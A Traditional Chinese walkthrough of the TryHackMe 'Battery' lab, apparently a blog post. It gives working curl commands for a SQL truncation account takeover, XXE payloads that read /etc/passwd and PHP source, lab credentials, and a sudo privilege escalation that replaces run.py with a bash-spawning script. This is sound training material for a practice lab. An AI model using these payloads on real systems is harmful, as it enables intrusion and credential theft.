7 min read

TryHackMe Battery writeup (zh-TW)

TryHackMe Battery writeup (zh-TW)

題目資訊

  • 平台: TryHackMe
  • 房間名稱: Battery
  • 難度: Medium
  • 目標: 獲取 Base Flag、User Flag、Root Flag
  • 主題: 銀行管理系統滲透測試
  • 連結: https://tryhackme.com/room/battery
  • 備註: 這一個機器,作者在經驗分享補充了很多相關資訊,可以搭配參考喔!

偵察階段

Nmap 掃描

nmap -sV -sC -p 22,80 10.201.51.19 -Pn

掃描結果

  • Port 22: OpenSSH 6.6.1p1 Ubuntu
  • Port 80: Apache httpd 2.4.7

目錄枚舉

gobuster dir -u http://10.201.51.19/ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20

發現的路徑

  • /admin.php - 登入頁面
  • /register.php - 註冊頁面
  • /report - 可執行文件(16912 bytes)
  • /scripts/ - JavaScript 腳本目錄
  • /forms.php - 需要管理員權限的頁面

Step 1: 分析 Report 程序

下載並反編譯

# 下載程序
wget http://10.201.51.19/report

# 用 Ghidra 反編譯或使用 strings
strings report | grep -iE "admin|user|@"

關鍵發現

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
guest  # 唯一可用的登入帳號

程序功能

  • 登入:guest/guest
  • 選項4可以更新密碼(但僅驗證 email 為 [email protected]

Step 2: SQL Truncation Attack

發現漏洞
檢查註冊表單:

curl http://10.201.51.19/register.php

關鍵發現

<input type="text" name="uname" placeholder="Username" maxlength="12">
  • 前端限制 username 只能12字符
  • [email protected] 正好12字符
  • 但後端可能有更長的欄位限制

繞過前端限制

# 註冊時使用:[email protected] + 空格 + 任意字符
curl -X POST http://10.201.51.19/register.php \
  -d "[email protected]   x&bank=ABC&password=test123&btn=Register me!" \
  -L

攻擊原理

  1. MySQL 截斷超過欄位長度的字符
  2. Trailing spaces 會被自動移除
  3. 結果:成功覆蓋原本的 [email protected] 帳號密碼!

成功訊息

<script>alert('Registered successfully!')</script>

登入 Admin

# 使用新密碼登入
curl -c admin_cookies.txt -X POST http://10.201.51.19/admin.php \
  -d "[email protected]&password=test123&btn=Submit" \
  -L

Step 3: XXE 漏洞利用

發現 XXE 端點
訪問 forms.php,發現 JavaScript 代碼:

function XMLFunction(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<root>' +
        '<name>' + $('#name').val() + '</name>' +
        '<search>' + $('#search').val() + '</search>' +
        '</root>';
    xmlhttp.open("POST","forms.php",true);
    xmlhttp.send(xml);
};

測試 XXE Payload

# 讀取 /etc/passwd
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

成功輸出

Sorry, account number root:x:0:0:root:/root:/bin/bash
[...]
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
yash:x:1002:1002:,,,:/home/yash:/bin/bash
is not active!

使用 PHP Wrapper 讀取源碼

# 讀取 acc.php 源碼(base64編碼)
curl -b admin_cookies.txt -X POST http://10.201.51.19/forms.php \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/acc.php">]>
<root>
<name>1</name>
<search>&xxe;</search>
</root>'

在返回的 HTML 中找到註釋

//MY CREDS :- cyber:super#secure&password!

Step 4: SSH 登入與 User Flag

SSH 連接

ssh [email protected]
# 密碼: super#secure&password!

獲得 Flag1

cyber@ubuntu:~$ ls
flag1.txt  run.py

cyber@ubuntu:~$ cat flag1.txt
THM{Redacted}

Step 5: 權限提升到 Root

檢查 Sudo 權限

cyber@ubuntu:~$ sudo -l
User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py

檢查文件權限

cyber@ubuntu:~$ ls -la run.py
-rwx------ 1 root root 349 Nov 15  2020 run.py

cyber@ubuntu:~$ ls -ld /home/cyber
drwx------ 3 cyber cyber 4096 Nov 17  2020 /home/cyber

關鍵發現

  • run.py 屬於 root,無法編輯
  • 但對 /home/cyber 目錄有完全權限!

劫持 run.py

# 1. 刪除 root 的 run.py
rm run.py

# 2. 創建惡意 run.py
cat > run.py << 'EOF'
import os
os.system('/bin/bash')
EOF

# 3. 用 sudo 執行,獲得 root shell
sudo /usr/bin/python3 /home/cyber/run.py

獲得所有 Flags

root@ubuntu:~# cat /root/root.txt
THM{Redacted}

root@ubuntu:~# cat /home/yash/flag2.txt
THM{Redacted}

技術要點總結

1. SQL Truncation Attack

  • 原理:利用數據庫欄位長度限制和字符截斷特性
  • 條件
    • 前端有 maxlength 限制(可繞過)
    • 後端欄位長度有限制
    • MySQL 會自動移除 trailing spaces
  • 利用方法:註冊 [email protected]___x(下劃線代表空格)

2. XXE (XML External Entity) 漏洞

  • 識別特徵:應用程序接受並解析 XML 輸入

進階技巧:使用 PHP wrapper 讀取源碼

<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file">

基本 Payload

<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

經驗分享

  1. 前端限制不可信:maxlength 可以用 curl 或 Burp Suite 繞過
  2. 數據庫特性很重要:了解 MySQL 的字符截斷行為

關於Step 1: 分析 Report 程序

這一步花了很多時間,因為還分析了一下這個程式到底有什麼用,也嘗試用ghidra反編譯看看有沒有hard coding的管理員密碼,或是任何可以造成程式崩潰的方法,但都沒有成功,所以才趕快又轉回來web端看有沒有漏洞。

關於Step 2: SQL Truncation Attack

憑良心說,這一步作者完全沒有聽過,也沒有想到,在針對管理員登入這塊,有嘗試sqlmap爆破看有沒有sql注入、用hydra直接爆破管理員的密碼,但都失敗,印象中有做過類似的練習,可以在申請帳號的時候蓋掉前面的資訊,但那時候沒有深入發現相關攻擊行為是sql truncation attack,另外這一步有卡住,所以有參考相關writeup~

TryHackMe - Battery
Battery es una maquina de TryHackMe, encontramos correos dentro de un fichero y mediante SQL Truncation Attack obtuvimos acceso a un panel de administracion en donde explotamos una vulnerabilidad XXE por la cual obtuvimos credenciales de acceso. La mala configuracion de permisos en un script de python nos permitio escalar privilegios.

關於Step 3: XXE 漏洞利用

這一步知道是XXE攻擊,其實不必使用admin帳號就可以知道,用burp suite,使用自己的帳號密碼test/test登入,就可以抓到forms.php的reponse,但可惜的是,確實還是需要管理員登入之後才能觸發XXE攻擊,不然會直接先被擋在門外,兩者給的response差異如下。

<script>alert('Only Admins can access this page!')</script>
跟
Sorry, account number [/etc/passwd內容] is not active!

關於Step 5: 權限提升到 Root

回頭來看,因為作者是先拿到root flag再拿user flag,所以如果進到yash的使用者目錄,會發現有提示root.txt,以及fernet,兩個檔案,前者會透漏我們用到的提權方法,後者則會給出yash的密碼,相關解碼方法參考如下

from cryptography.fernet import Fernet

key = b"7OEIooZqOpT7vOh9ax8arbBeB8e243Pr8K4IVWBStgA="
encrypted = b"gAAAAABfs33Qms9CotZIEBMg76eOlwOiKU8LD_mX2F346WXXBVIlXWvWGfreAX4kU5hjGXf0PiwtP0cmOm5JSUI7zl03V1JKlA=="

cipher = Fernet(key)
password = cipher.decrypt(encrypted)
print(password.decode())  # yash的密碼

不過算是同場加映,因為我們已經拿到root flag了,就沒再去回推說怎麼從cyber跳yash再跳root。